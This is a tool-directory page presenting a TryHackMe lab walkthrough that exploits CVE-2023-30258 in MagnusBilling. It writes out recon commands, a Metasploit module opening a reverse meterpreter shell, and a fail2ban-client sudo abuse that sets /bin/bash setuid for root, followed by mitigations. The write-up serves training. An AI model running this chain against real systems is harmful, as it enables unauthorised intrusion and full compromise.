Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/cyb3rk0ala/thm-magnusbilling-cve-2023-30258-exploit
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & Education

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Labs & Practice
GitHubcyb3rk0ala/thm-magnusbilling-cve-2023-30258-exploit

THM-MagnusBilling-CVE-2023-30258-Exploit

Step-by-step walkthrough exploiting CVE-2023-30258 (MagnusBilling RCE) and escalating privileges via fail2ban misconfiguration on a TryHackMe lab. Demonstrates web enumeration, Metasploit exploitation, and Linux privilege escalation.

查看仓库
11个月前尚未审核
内容在请求的语言中不可用。显示英文版本。

THM-MagnusBilling-CVE-2023-30258

⸻

🛡️ MagnusBilling RCE → Root (CVE-2023-30258)

📌 Overview • Target: 10.145.148.203 • Platform: TryHackMe • Vulnerability: CVE-2023-30258 • Access: Unauthenticated Remote Code Execution (RCE) • Privilege Escalation: fail2ban misconfiguration • Final Access: Root

⸻

🔍 1. Reconnaissance

Port Scan

rustscan -a 10.145.148.203

📊 Open Ports

Port Service 22 SSH 80 HTTP 3306 MySQL 5038 Asterisk Screenshot 2026-04-08 at 22 09 15

The presence of Asterisk hints at a VoIP/billing system.

⸻

🌐 2. Web Enumeration

Directory Fuzzing

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c

📁 Findings: • /archive • /assets • /lib • /tmp • /protected

The /mbilling path is identified as a potential attack vector. Screenshot 2026-04-08 at 22 06 08

⸻

🚨 3. Vulnerability Identification

CVE-2023-30258

MagnusBilling is vulnerable to: • Unauthenticated Remote Code Execution (RCE) • Command Injection • Full system compromise

⸻

💣 4. Exploitation (Metasploit)

msfconsole

search CVE:2023-30258

use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

set RHOSTS 10.145.148.203 set LHOST tun0 set LPORT 4444 run Screenshot 2026-04-08 at 22 03 12 Screenshot 2026-04-08 at 22 03 39

⸻

🎯 Result

meterpreter session opened

sysinfo

OS: Linux Debian User: asterisk

Screenshot 2026-04-08 at 22 04 03

⸻

🔐 5. Initial Access

shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

whoami

asterisk

⸻

🏁 6. User Flag

cd /home/magnus cat user.txt

⸻

🔎 7. Privilege Escalation

Check sudo

sudo -l

(ALL) NOPASSWD: /usr/bin/fail2ban-client

Critical misconfiguration detected!

Screenshot 2026-04-08 at 22 22 42

⸻

💣 8. Exploiting Fail2Ban

Add a malicious action

sudo fail2ban-client set mbilling_login addaction evil

sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"

sudo fail2ban-client set mbilling_login banip 127.0.0.1

Screenshot 2026-04-08 at 22 05 14

⸻

🚀 9. Root Access

/bin/bash -p

id

euid=0(root)

Initially whoami returned asterisk. Using bash -p escalates to root.

Screenshot 2026-04-08 at 22 05 40

⸻

👑 10. Root Flag

cat /root/root.txt

⸻

🧠 11. Key Takeaways • CVE exploitation provided easy initial access • Web enumeration is critical (ffuf identified /mbilling) • Misconfigured sudo can lead to full system compromise • fail2ban can be abused for privilege escalation

⸻

🛡️ 12. Mitigation • Update MagnusBilling to the latest version • Remove NOPASSWD from sudo configuration • Restrict access to fail2ban-client • Harden web applications and endpoints

⸻

💀 Conclusion

This machine demonstrates a realistic attack chain:

Web RCE → Shell → Privilege Escalation → Root

A combination of vulnerability + misconfiguration led to full system compromise.

下载工具